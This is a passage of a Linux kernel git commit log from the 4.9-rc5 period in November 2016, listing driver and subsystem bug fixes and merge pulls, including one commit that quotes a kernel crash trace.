ee2bd216e1fa9fa980e6ac702e5973d157c40c48 Author: Linus Torvalds Date: Mon Nov 14 09:46:08 2016 -0800 ASoC: lpass-platform: fix uninitialized variable In commit 022d00ee0b55 ("ASoC: lpass-platform: Fix broken pcm data usage") the stream specific information initialization was broken, with the dma channel information not being initialized if there was no alloc_dma_channel() helper function. Before that, the DMA channel number was implicitly initialized to zero because the backing store was allocated with devm_kzalloc(). When the init code was rewritten, that implicit initialization was lost, and gcc rightfully complains about an uninitialized variable being used. Cc: Srinivas Kandagatla Cc: Mark Brown Signed-off-by: Linus Torvalds sound/soc/qcom/lpass-platform.c | 1 + 1 file changed, 1 insertion(+) commit f5c9f9c72395c3291c2e35c905dedae2b98475a4 Author: Linus Torvalds Date: Mon Nov 14 09:31:52 2016 -0800 Revert "printk: make reading the kernel log flush pending lines" This reverts commit bfd8d3f23b51018388be0411ccbc2d56277fe294. It turns out that this flushes things much too aggressiverly, and causes lines to break up when the system logger races with new continuation lines being printed. There's a pending patch to make printk() flushing much more straightforward, but it's too invasive for 4.9, so in the meantime let's just not make the system message logging flush continuation lines. They'll be flushed by the final newline anyway. Suggested-by: Petr Mladek Signed-off-by: Linus Torvalds kernel/printk/printk.c | 11 ----------- 1 file changed, 11 deletions(-) commit 93d710a65ef02fb7fd48ae207e78f460bd7a6089 Author: Linus Walleij Date: Mon Nov 14 15:34:17 2016 +0100 i2c: mux: fix up dependencies We get the following build error from UM Linux after adding an entry to drivers/iio/gyro/Kconfig that issues "select I2C_MUX": ERROR: "devm_ioremap_resource" [drivers/i2c/muxes/i2c-mux-reg.ko] undefined! ERROR: "of_address_to_resource" [drivers/i2c/muxes/i2c-mux-reg.ko] undefined! It appears that the I2C mux core code depends on HAS_IOMEM for historical reasons, while CONFIG_I2C_MUX_REG does *not* have a direct dependency on HAS_IOMEM. This creates a situation where a allyesconfig or allmodconfig for UM Linux will select I2C_MUX, and will implicitly enable I2C_MUX_REG as well, and the compilation will fail for the register driver. Fix this up by making I2C_MUX_REG depend on HAS_IOMEM and removing the dependency from I2C_MUX. Reported-by: kbuild test robot Reported-by: Jonathan Cameron Signed-off-by: Linus Walleij Acked-by: Jonathan Cameron Acked-by: Peter Rosin Signed-off-by: Wolfram Sang Cc: stable@kernel.org drivers/i2c/Kconfig | 1 - drivers/i2c/muxes/Kconfig | 1 + 2 files changed, 1 insertion(+), 1 deletion(-) commit b15efc38626f20f3fc8b831b826b50740d90dab9 Author: Mauro Carvalho Chehab Date: Mon Nov 14 11:14:37 2016 -0200 gp8psk-fe: add missing MODULE_foo() macros This file was converted to a separate module at commit 7a0786c19d65 ("gp8psk: Fix DVB frontend attach"), because the DVB attach routines require it to work. However, I forgot to copy the MODULE_foo() macros from the original module, causing this warning: WARNING: modpost: missing MODULE_LICENSE() in drivers/media/dvb-frontends/gp8psk-fe.o Reported-by: Stephen Rothwell Fixes: 7a0786c19d65 ("gp8psk: Fix DVB frontend attach") Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Linus Torvalds drivers/media/dvb-frontends/gp8psk-fe.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-) commit 8528d662489a980305c7b0d1d41aca3e140c1e3d Merge: 5d69561 d49597f Author: Linus Torvalds Date: Mon Nov 14 08:39:56 2016 -0800 Merge branch 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull x86 fixes from Ingo Molnar: "Misc fixes: - fix an Intel/MID boot crash/hang bug - fix a cache topology mis-parsing bug on certain AMD CPUs - fix a virtualization firmware bug by adding a check+quirk workaround on the kernel side" * 'x86-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/cpu: Deal with broken firmware (VMWare/XEN) x86/cpu/AMD: Fix cpu_llc_id for AMD Fam17h systems x86/platform/intel-mid: Retrofit pci_platform_pm_ops ->get_state hook commit 5d69561b7b32b89380b5390b62e5a0c50bfe6568 Merge: 5ad62a9 7ee7e87 Author: Linus Torvalds Date: Mon Nov 14 08:34:56 2016 -0800 Merge branch 'irq-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull irq fix from Ingo Molnar: "This fixes a genirq regression that resulted in the Intel/Broxton pinctrl/GPIO driver (and possibly others) spewing warnings" * 'irq-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: genirq: Use irq type from irqdata instead of irqdesc commit 5ad62a9e5cf82e31ac8fc302e4090cbd0bbc1615 Merge: 53381e2 ce75632 Author: Linus Torvalds Date: Mon Nov 14 08:30:06 2016 -0800 Merge branch 'perf-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull perf fixes from Ingo Molnar: "An uncore PMU driver hardware enablement change for Intel SkyLake uncore PMUs (Skylake Y, U, H and S platforms), plus a number of tooling fixes for the histogram handling/displaying code" * 'perf-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: perf/x86/intel/uncore: Add more Intel uncore IMC PCI IDs for SkyLake perf hists: Fix column length on --hierarchy perf hists browser: Fix column indentation on --hierarchy perf hists browser: Show folded sign properly on --hierarchy perf hists browser: Fix indentation of folded sign on --hierarchy perf hist browser: Fix hierarchy column counts commit 53381e2e34f741350bd00f592d2b6c3710ba5177 Merge: 28ddafa f6697df Author: Linus Torvalds Date: Mon Nov 14 08:26:24 2016 -0800 Merge branch 'efi-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull EFI fixes from Ingo Molnar: "A boot crash fix and a build warning fix" * 'efi-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: x86/efi: Prevent mixed mode boot corruption with CONFIG_VMAP_STACK=y x86/efi: Fix EFI memmap pointer size warning commit 28ddafa5905310889defc485dbefe0a484edb2b6 Merge: a25f094 819baf8 Author: Linus Torvalds Date: Mon Nov 14 08:14:49 2016 -0800 Merge tag 'ntb-4.9' of git://github.com/jonmason/ntb Pull NTB fixes from Jon Mason: "NTB bug fixes for ntb_hw_intel, ntb_perf, and ntb_pingpong. Also, a fixup to use jiffies in schedule_timeout_* call instead of a constant" * tag 'ntb-4.9' of git://github.com/jonmason/ntb: ntb_perf: potential info leak in debugfs ntb: ntb_hw_intel: init peer_addr in struct intel_ntb_dev ntb: make DMA_OUT_RESOURCE_TO HZ independent ntb_transport: make DMA_OUT_RESOURCE_TO HZ independent NTB: ntb_hw_intel: Fix typo in module parameter descriptions ntb_pingpong: Fix db_init parameter description commit ea08e39230e898844d9de5b60cdbb30067cebfe7 Author: Scott Mayhew Date: Fri Nov 11 13:16:22 2016 -0500 sunrpc: svc_age_temp_xprts_now should not call setsockopt non-tcp transports This fixes the following panic that can occur with NFSoRDMA. general protection fault: 0000 [#1] SMP Modules linked in: rpcrdma ib_isert iscsi_target_mod ib_iser libiscsi scsi_transport_iscsi ib_srpt target_core_mod ib_srp scsi_transport_srp scsi_tgt ib_ipoib rdma_ucm ib_ucm ib_uverbs ib_umad rdma_cm ib_cm iw_cm mlx5_ib ib_core intel_powerclamp coretemp kvm_intel kvm sg ioatdma ipmi_devintf ipmi_ssif dcdbas iTCO_wdt iTCO_vendor_support pcspkr irqbypass sb_edac shpchp dca crc32_pclmul ghash_clmulni_intel edac_core lpc_ich aesni_intel lrw gf128mul glue_helper ablk_helper mei_me mei ipmi_si cryptd wmi ipmi_msghandler acpi_pad acpi_power_meter nfsd auth_rpcgss nfs_acl lockd grace sunrpc ip_tables xfs libcrc32c sd_mod crc_t10dif crct10dif_generic mgag200 i2c_algo_bit drm_kms_helper syscopyarea sysfillrect sysimgblt ahci fb_sys_fops ttm libahci mlx5_core tg3 crct10dif_pclmul drm crct10dif_common ptp i2c_core libata crc32c_intel pps_core fjes dm_mirror dm_region_hash dm_log dm_mod CPU: 1 PID: 120 Comm: kworker/1:1 Not tainted 3.10.0-514.el7.x86_64 #1 Hardware name: Dell Inc. PowerEdge R320/0KM5PX, BIOS 2.4.2 01/29/2015 Workqueue: events check_lifetime task: ffff88031f506dd0 ti: ffff88031f584000 task.ti: ffff88031f584000 RIP: 0010:[] [] _raw_spin_lock_bh+0x17/0x50 RSP: 0018:ffff88031f587ba8 EFLAGS: 00010206 RAX: 0000000000020000 RBX: 20041fac02080072 RCX: ffff88031f587fd8 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 20041fac02080072 RBP: ffff88031f587bb0 R08: 0000000000000008 R09: ffffffff8155be77 R10: ffff880322a59b00 R11: ffffea000bf39f00 R12: 20041fac02080072 R13: 000000000000000d R14: ffff8800c4fbd800 R15: 0000000000000001 FS: 0000000000000000(0000) GS:ffff880322a40000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f3c52d4547e CR3: 00000000019ba000 CR4: 00000000001407e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Stack: 20041fac02080002 ffff88031f587bd0 ffffffff81557830 20041fac02080002 ffff88031f587c78 ffff88031f587c40 ffffffff8155ae08 000000010157df32 0000000800000001 ffff88031f587c20 ffffffff81096acb ffffffff81aa37d0 Call Trace: [] lock_sock_nested+0x20/0x50 [] sock_setsockopt+0x78/0x940 [] ? lock_timer_base.isra.33+0x2b/0x50 [] kernel_setsockopt+0x4d/0x50 [] svc_age_temp_xprts_now+0x174/0x1e0 [sunrpc] [] nfsd_inetaddr_event+0x9d/0xd0 [nfsd] [] notifier_call_chain+0x4c/0x70 [] __blocking_notifier_call_chain+0x4d/0x70 [] blocking_notifier_call_chain+0x16/0x20 [] __inet_del_ifa+0x168/0x2d0 [] check_lifetime+0x25f/0x270 [] process_one_work+0x17b/0x470 [] worker_thread+0x126/0x410 [] ? rescuer_thread+0x460/0x460 [] kthread+0xcf/0xe0 [] ? kthread_create_on_node+0x140/0x140 [] ret_from_fork+0x58/0x90 [] ? kthread_create_on_node+0x140/0x140 Code: ca 75 f1 5d c3 0f 1f 80 00 00 00 00 eb d9 66 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 53 48 89 fb e8 7e 04 a0 ff b8 00 00 02 00 0f c1 03 89 c2 c1 ea 10 66 39 c2 75 03 5b 5d c3 83 e2 fe 0f RIP [] _raw_spin_lock_bh+0x17/0x50 RSP Signed-off-by: Scott Mayhew Fixes: c3d4879e ("sunrpc: Add a function to close temporary transports immediately") Reviewed-by: Chuck Lever Signed-off-by: J. Bruce Fields include/linux/sunrpc/svc_xprt.h | 1 + net/sunrpc/svc_xprt.c | 11 +---------- net/sunrpc/svcsock.c | 21 +++++++++++++++++++++ net/sunrpc/xprtrdma/svc_rdma_transport.c | 6 ++++++ 4 files changed, 29 insertions(+), 10 deletions(-) commit 740b4be3f742100ea66f0f9ee9715b10ee304a90 Author: Tony Lindgren Date: Fri Nov 11 11:28:52 2016 -0800 dmaengine: cpp41: Fix handling of error path If we return early on pm_runtime_get() error, we need to also call pm_runtime_put_noidle() as pointed out in a musb related thread by Johan Hovold . This is to keep the PM runtime use counts happy. Fixes: fdea2d09b997 ("dmaengine: cppi41: Add basic PM runtime support") Cc: Johan Hovold Signed-off-by: Tony Lindgren Signed-off-by: Vinod Koul drivers/dma/cppi41.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit 098de42ad6708866501a00155ba85350bc0b29e5 Author: Tony Lindgren Date: Wed Nov 9 09:47:59 2016 -0700 dmaengine: cppi41: Fix unpaired pm runtime when only a USB hub is connected On am335x with musb host we can end up with unpaired pm runtime calls if a hub with no devices is connected and disconnected. This is because of the conditional pm runtime calls which are always a bad idea. Let's fix the issue by making them unconditional and paired in each function. Fixes: fdea2d09b997 ("dmaengine: cppi41: Add basic PM runtime support") Signed-off-by: Tony Lindgren Signed-off-by: Vinod Koul drivers/dma/cppi41.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 12f5908080bdccca2cb2f7ad850cb360c92f481a Author: Tony Lindgren Date: Wed Nov 9 09:47:58 2016 -0700 dmaengine: cppi41: Fix list not empty warning on module removal If musb controller is configured with USB peripherals and we have enumerated with a USB host, we can get warnings on removal of the modules: WARNING: CPU: 0 PID: 1269 at drivers/dma/cppi41.c:391 cppi41_dma_free_chan_resources Fix the issue by adding the missing pm_runtime_get to cppi41_dma_free_chan_resources to make sure the pending work list is cleared on removal. Fixes: fdea2d09b997 ("dmaengine: cppi41: Add basic PM runtime support") Signed-off-by: Tony Lindgren Signed-off-by: Vinod Koul drivers/dma/cppi41.c | 5 +++++ 1 file changed, 5 insertions(+) commit f732c5b7c734cfc2c563c918fe2842175c7eb073 Author: Axl-zhang Date: Wed Nov 2 13:31:12 2016 +0800 dmaengine: sun6i: fix the uninitialized value for v_lli dma_pool_alloc does not initialize the value of the newly allocated block for the v_lli, and the uninitilize value make the tests failed which is on pine64 with dmatest. we can fix it just change the "|=" to "=" for the v_lli->cfg. Signed-off-by: Hao Zhang Acked-by: Maxime Ripard Signed-off-by: Vinod Koul drivers/dma/sun6i-dma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 14c862dbb0a0e0a9baec20480d441e32cb54b2b9 Author: Sagi Grimberg Date: Sun Nov 6 11:03:59 2016 +0200 nvmet-rdma: drain the queue-pair just before freeing it draining the qp right after disconnect might not suffice because the nvmet sq is not fully drained (in nvmet_sq_destroy) and we might see completions after the drain. Instead, drain right before the qp destroy which comes after the sq destruction and we can be sure that no posts come after the drain. Tested-by: Steve Wise Signed-off-by: Sagi Grimberg drivers/nvme/target/rdma.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c8dbc37cd81d4705fce51123f5d81ea3267a5b88 Author: Steve Wise Date: Tue Nov 8 09:16:02 2016 -0800 nvme-rdma: stop and free io queues on connect failure While testing nvme-rdma with the spdk nvmf target over iw_cxgb4, I configured the target (mistakenly) to generate an error creating the NVMF IO queues. This resulted a "Invalid SQE Parameter" error sent back to the host on the first IO queue connect: [ 9610.928182] nvme nvme1: queue_size 128 > ctrl maxcmd 120, clamping down [ 9610.938745] nvme nvme1: creating 32 I/O queues. So nvmf_connect_io_queue() returns an error to nvmf_connect_io_queue() / nvmf_connect_io_queues(), and that is returned to nvme_rdma_create_io_queues(). In the error path, nvmf_rdma_create_io_queues() frees the queue tagset memory _before_ stopping and freeing the IB queues, which causes yet another touch-after-free crash due to SQ CQEs being flushed after the ib_cqe structs pointed-to by the flushed WRs have been freed (since they are part of the nvme_rdma_request struct). The fix is to stop and free the queues in nvmf_connect_io_queues() if there is an error connecting any of the queues. Signed-off-by: Steve Wise Signed-off-by: Sagi Grimberg drivers/nvme/host/rdma.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit 766dbb179d41d6337fed2b3ca00caa5845d298ce Author: Sagi Grimberg Date: Sun Nov 6 11:09:49 2016 +0200 nvmet-rdma: don't forget to delete a queue from the list of connection failed In case we accepted a queue connection and it failed, we might not remove the queue from the list until we unload and clean it up. We should delete it from the queue list on the relevant handler. Signed-off-by: Sagi Grimberg drivers/nvme/target/rdma.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 8242ddac1bfcf6eb8873b4d0a4e7a172c2b5b625 Author: Sagi Grimberg Date: Sun Nov 6 11:03:30 2016 +0200 nvmet: Don't queue fatal error work if csts.cfs is set In the transport, in case of an interal queue error like error completion in rdma we trigger a fatal error. However, multiple queues in the same controller can serr error completions and we don't want to trigger fatal error work more than once. Reviewed-by: Christoph Hellwig Signed-off-by: Sagi Grimberg drivers/nvme/target/core.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit 553cd9ef82edd811948782a8f73ae73c4bfeedd3 Author: Christoph Hellwig Date: Wed Nov 2 08:49:18 2016 -0600 nvme-rdma: reject non-connect commands before the queue is live If we reconncect we might have command queue up that get resent as soon as the queue is restarted. But until the connect command succeeded we can't send other command. Add a new flag that marks a queue as live when connect finishes, and delay any non-connect command until the queue is live based on it. Signed-off-by: Christoph Hellwig Reported-by: Steve Wise Tested-by: Steve Wise [sagig: fixes admin queue LIVE setting] Signed-off-by: Sagi Grimberg drivers/nvme/host/rdma.c | 31 ++++++++++++++++++++++++++++++- 1 file changed, 30 insertions(+), 1 deletion(-) commit fa14a0acea1ffe67913ba384a2897130a36dfe03 Author: Bart Van Assche Date: Tue Nov 1 18:36:46 2016 +0200 nvmet-rdma: Fix possible NULL deref when handling rdma cm events When we initiate queue teardown sequence we call rdma_destroy_qp which clears cm_id->qp, afterwards we call rdma_destroy_id, but we might see a rdma_cm event in between with a cleared cm_id->qp so watch out for that and silently ignore the event because this means that the queue teardown sequence is in progress. Signed-off-by: Bart Van Assche Signed-off-by: Sagi Grimberg drivers/nvme/target/rdma.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 819baf885953b588b63bef28e5598daf9ed4ddf9 Author: Dan Carpenter Date: Fri Oct 14 10:34:18 2016 +0300 ntb_perf: potential info leak in debugfs This is a static checker warning, not something I'm desperately concerned about. But snprintf() returns the number of bytes that would have been copied if there were space. We really care about the number of bytes that actually were copied so we should use scnprintf() instead. It probably won't overrun, and in that case we may as well just use sprintf() but these sorts of things make static checkers and code reviewers happier. Signed-off-by: Dan Carpenter Acked-by: Dave Jiang Signed-off-by: Jon Mason drivers/ntb/test/ntb_perf.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 25ea9f2bf5f76082da919f2a91ea8d920932c1da Author: Dave Jiang Date: Thu Oct 27 11:06:44 2016 -0700 ntb: ntb_hw_intel: init peer_addr in struct intel_ntb_dev The peer_addr member of intel_ntb_dev is not set, therefore when acquiring ntb_peer_db and ntb_peer_spad we only get the offset rather than the actual physical address. Adding fix to correct that. Signed-off-by: Dave Jiang Acked-by: Allen Hubbe Signed-off-by: Jon Mason drivers/ntb/hw/intel/ntb_hw_intel.c | 3 +++ 1 file changed, 3 insertions(+) commit cdc08982a5f334cecc15d802464588115512cc36 Author: Nicholas Mc Guire Date: Mon Aug 22 18:51:36 2016 +0200 ntb: make DMA_OUT_RESOURCE_TO HZ independent schedule_timeout_* takes a timeout in jiffies but the code currently is passing in a constant which makes this timeout HZ dependent, so pass it through msecs_to_jiffies() to fix this up. Signed-off-by: Nicholas Mc Guire Acked-by: Dave Jiang Signed-off-by: Jon Mason drivers/ntb/test/ntb_perf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c0a88032ef8e6814d4dd84551e5f333c1de639b3 Author: Nicholas Mc Guire Date: Mon Aug 22 18:51:35 2016 +0200 ntb_transport: make DMA_OUT_RESOURCE_TO HZ independent schedule_timeout_* takes a timeout in jiffies but the code currently is passing in a constant which makes this timeout HZ dependent, so pass it through msecs_to_jiffies() to fix this up. Signed-off-by: Nicholas Mc Guire Signed-off-by: Jon Mason drivers/ntb/ntb_transport.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 49b89de41f8d97eb13a60c1865ed61fbebed0d15 Author: Wei Yongjun Date: Mon Aug 8 09:48:42 2016 +0000 NTB: ntb_hw_intel: Fix typo in module parameter descriptions Fix typo in module parameter descriptions. Signed-off-by: Wei Yongjun Acked-by: Allen Hubbe Signed-off-by: Jon Mason drivers/ntb/hw/intel/ntb_hw_intel.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit cedecbc5e0f39d2987b8e1004908e90459a82e78 Author: Wei Yongjun Date: Mon Aug 8 09:48:00 2016 +0000 ntb_pingpong: Fix db_init parameter description Fix 'db_init' parameter description. Signed-off-by: Wei Yongjun Acked-by: Allen Hubbe Signed-off-by: Jon Mason drivers/ntb/test/ntb_pingpong.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7774d46b2037b98d3f7e414bffb1d53082dc139b Author: Colin Ian King Date: Sat Nov 12 17:44:06 2016 +0000 net: ethernet: ixp4xx_eth: fix spelling mistake in debug message Trivial fix to spelling mistake "successed" to "succeeded" in debug message. Also unwrap multi-line literal string. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller drivers/net/ethernet/xscale/ixp4xx_eth.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit e1fac0adf0f9b2c1eb49e658e6ed070a744bbaef Author: Thomas Falcon Date: Fri Nov 11 11:00:46 2016 -0600 ibmvnic: Fix size of debugfs name buffer This mistake was causing debugfs directory creation failures when multiple ibmvnic devices were probed. Signed-off-by: Thomas Falcon Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b7f193da17fb18b752bef77ce52eb49723299bd8 Author: Thomas Falcon Date: Fri Nov 11 11:00:45 2016 -0600 ibmvnic: Unmap ibmvnic_statistics structure This structure was mapped but never subsequently unmapped. Signed-off-by: Thomas Falcon Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 3 +++ 1 file changed, 3 insertions(+) commit 46d054f8f540612f09987a53154aa39ae15f2e4c Author: Bert Kenward Date: Fri Nov 11 15:56:51 2016 +0000 sfc: clear napi_hash state when copying channels efx_copy_channel() doesn't correctly clear the napi_hash related state. This means that when napi_hash_add is called for that channel nothing is done, and we are left with a copy of the napi_hash_node from the old channel. When we later call napi_hash_del() on this channel we have a stale napi_hash_node. Corruption is only seen when there are multiple entries in one of the napi_hash lists. This is made more likely by having a very large number of channels. Testing was carried out with 512 channels - 32 channels on each of 16 ports. This failure typically appears as protection faults within napi_by_id() or napi_hash_add(). efx_copy_channel() is only used when tx or rx ring sizes are changed (ethtool -G). Fixes: 36763266bbe8 ("sfc: Add support for busy polling") Signed-off-by: Bert Kenward Signed-off-by: David S. Miller drivers/net/ethernet/sfc/efx.c | 3 +++ 1 file changed, 3 insertions(+) commit a25f0944ba9b1d8a6813fd6f1a86f1bd59ac25a6 Author: Linus Torvalds Date: Sun Nov 13 10:32:32 2016 -0800 Linux 4.9-rc5 Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e234832afb623fe5c7d1d5703d6619494d8d703f Merge: e861d89 05d36a7 Author: Linus Torvalds Date: Sun Nov 13 10:28:53 2016 -0800 Merge tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm Pull KVM fixes from Paolo Bonzini: "ARM fixes. There are a couple pending x86 patches but they'll have to wait for next week" * tag 'for-linus' of git://git.kernel.org/pub/scm/virt/kvm/kvm: KVM: arm/arm64: vgic: Kick VCPUs when queueing already pending IRQs KVM: arm/arm64: vgic: Prevent access to invalid SPIs arm/arm64: KVM: Perform local TLB invalidation when multiplexing vcpus on a single CPU commit e861d890c02c1105d0c82e3904c67f0386352fe2 Merge: acb57b7 7a0786c Author: Linus Torvalds Date: Sun Nov 13 10:26:05 2016 -0800 Merge branch 'media-fixes' (patches from Mauro) Merge media fixes from Mauro Carvalho Chehab: "This contains two patches fixing problems with my patch series meant to make USB drivers to work again after the DMA on stack changes. The last patch on this series is actually not related to DMA on stack. It solves a longstanding bug affecting module unload, causing module_put() to be called twice. It was reported by the user who reported and tested the issues with the gp8psk driver with the DMA fixup patches. As we're late at -rc cycle, maybe you prefer to not apply it right now. If this is the case, I'll add to the pile of patches for 4.10. Exceptionally this time, I'm sending the patches via e-mail, because I'm on another trip, and won't be able to use the usual procedure until Monday. Also, it is only three patches, and you followed already the discussions about the first one" * emailed patches from Mauro Carvalho Chehab : gp8psk: Fix DVB frontend attach gp8psk: fix gp8psk_usb_in_op() logic dvb-usb: move data_mutex to struct dvb_usb_device commit acb57b7548cb84680f4f5263e63736ced8c2e257 Merge: cf2b191 b13d143 Author: Linus Torvalds Date: Sun Nov 13 10:24:08 2016 -0800 Merge tag 'char-misc-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/char-misc Pull char/misc fixes from Greg KH: "Here are three small driver fixes for some reported issues for 4.9-rc5. One for the hyper-v subsystem, fixing up a naming issue that showed up in 4.9-rc1, one mei driver fix, and one fix for parallel ports, resolving a reported regression. All have been in linux-next with no reported issues" * tag 'char-misc-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/char-misc: ppdev: fix double-free of pp->pdev->name vmbus: make sysfs names consistent with PCI mei: bus: fix received data size check in NFC fixup commit cf2b191cbac23d92a9b0319f80c6d274690cb9c0 Merge: 85b9df7 bdacd1b Author: Linus Torvalds Date: Sun Nov 13 10:22:07 2016 -0800 Merge tag 'driver-core-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/driver-core Pull driver core fixes from Greg KH: "Here are two driver core fixes for 4.9-rc5. The first resolves an issue with some drivers not liking to be unbound and bound again (if CONFIG_DEBUG_TEST_DRIVER_REMOVE is enabled), which solves some reported problems with graphics and storage drivers. The other resolves a smatch error with the 4.9-rc1 driver core changes around this feature. Both have been in linux-next with no reported issues" * tag 'driver-core-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/driver-core: driver core: fix smatch warning on dev->bus check driver core: skip removal test for non-removable drivers commit 85b9df7aa5080a4e8cba38fe3a56b73a8f8987ef Merge: befdfff d70674e Author: Linus Torvalds Date: Sun Nov 13 10:13:33 2016 -0800 Merge tag 'staging-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging Pull staging/IIO fixes from Grek KH: "Here are a few small staging and iio driver fixes for reported issues. The last one was cherry-picked from my -next branch to resolve a build warning that Arnd fixed, in his quest to be able to turn -Wmaybe-uninitialized back on again. That patch, and all of the others, have been in linux-next for a while with no reported issues" * tag 'staging-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging: iio: maxim_thermocouple: detect invalid storage size in read() staging: nvec: remove managed resource from PS2 driver Revert "staging: nvec: ps2: change serio type to passthrough" drivers: staging: nvec: remove bogus reset command for PS/2 interface staging: greybus: arche-platform: fix device reference leak staging: comedi: ni_tio: fix buggy ni_tio_clock_period_ps() return value staging: sm750fb: Fix bugs introduced by early commits iio: hid-sensors: Increase the precision of scale to fix wrong reading interpretation. iio: orientation: hid-sensor-rotation: Add PM function (fix non working driver) iio: st_sensors: fix scale configuration for h3lis331dl staging: iio: ad5933: avoid uninitialized variable in error case commit befdfffdbdacd59b02eb162f5fbf05b9f67198ed Merge: 348ce85 1826640 Author: Linus Torvalds Date: Sun Nov 13 10:10:46 2016 -0800 Merge tag 'usb-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb Pull USB / PHY fixes from Greg KH: "Here are a number of small USB and PHY driver fixes for 4.9-rc5 Nothing major, just small fixes for reported issues, all of these have been in linux-next for a while with no reported issues" * tag 'usb-4.9-rc5' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/usb: USB: cdc-acm: fix TIOCMIWAIT cdc-acm: fix uninitialized variable drivers/usb: Skip auto handoff for TI and RENESAS usb controllers usb: musb: remove duplicated actions usb: musb: da8xx: Don't print phy error on -EPROBE_DEFER phy: sun4i: check PMU presence when poking unknown bit of pmu phy-rockchip-pcie: remove deassert of phy_rst from exit callback phy: da8xx-usb: rename the ohci device to ohci-da8xx phy: Add reset callback for not generic phy uwb: fix device reference leaks usb: gadget: u_ether: remove interrupt throttling usb: dwc3: st: add missing include usb: dwc3: Fix error handling for core init commit 348ce85b0ac6feb2972414f81362c5a5f292354e Merge: 980221d 0cbc72a Author: Linus Torvalds Date: Sun Nov 13 10:09:04 2016 -0800 Merge branch 'for-linus' of git://git.kernel.dk/linux-block Pull more block fixes from Jens Axboe: "Since I mistakenly left out the lightnvm regression fix yesterday and the aoeblk seems adequately tested at this point, might as well send out another pull to make -rc5" * 'for-linus' of git://git.kernel.dk/linux-block: aoe: fix crash in page count manipulation lightnvm: invalid offset calculation for lba_shift commit 980221d14c4eedbfc24a0f2234475850438a4411 Merge: d41bd8f 8a57646d Author: Linus Torvalds Date: Sun Nov 13 10:07:08 2016 -0800 Merge tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi Pull SCSI fixes from James Bottomley: "The megaraid_sas patch in here fixes a major regression in the last fix set that made all megaraid_sas cards unusable. It turns out no-one had actually tested such an "obvious" fix, sigh. The fix for the fix has been tested ... The next most serious is the vmw_pvscsi abort problem which basically means that aborts don't work on the vmware paravirt devices and error handling always escalates to reset. The rest are an assortment of missed reference counting in certain paths and corner case bugs that show up on some architectures" * tag 'scsi-fixes' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi: scsi: megaraid_sas: fix macro MEGASAS_IS_LOGICAL to avoid regression scsi: qla2xxx: fix invalid DMA access after command aborts in PCI device remove scsi: qla2xxx: do not queue commands when unloading scsi: libcxgbi: fix incorrect DDP resource cleanup scsi: qla2xxx: Fix scsi scan hang triggered if adapter fails during init scsi: scsi_dh_alua: Fix a reference counting bug scsi: vmw_pvscsi: return SUCCESS for successful command aborts scsi: mpt3sas: Fix for block device of raid exists even after deleting raid disk scsi: scsi_dh_alua: fix missing kref_put() in alua_rtpg_work() commit d41bd8f335c7d87016db30836e4b74cbed501775 Merge: 86e4ee7 10f2bfb Author: Linus Torvalds Date: Sun Nov 13 10:04:55 2016 -0800 Merge tag 'clk-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/clk/linux Pull clk fixes from Stephen Boyd: "The typical collection of minor bug fixes in clk drivers. We don't have anything in the core framework here, just driver fixes. There's a boot fix for Samsung devices and a safety measure for qoriq to prevent CPUs from running too fast. There's also a fix for i.MX6Q to properly handle audio clock rates. We also have some "that's obviously wrong" fixes like bad NULL pointer checks in the MPP driver and a poor usage of __pa in the xgene clk driver that are fixed here" * tag 'clk-fixes-for-linus' of 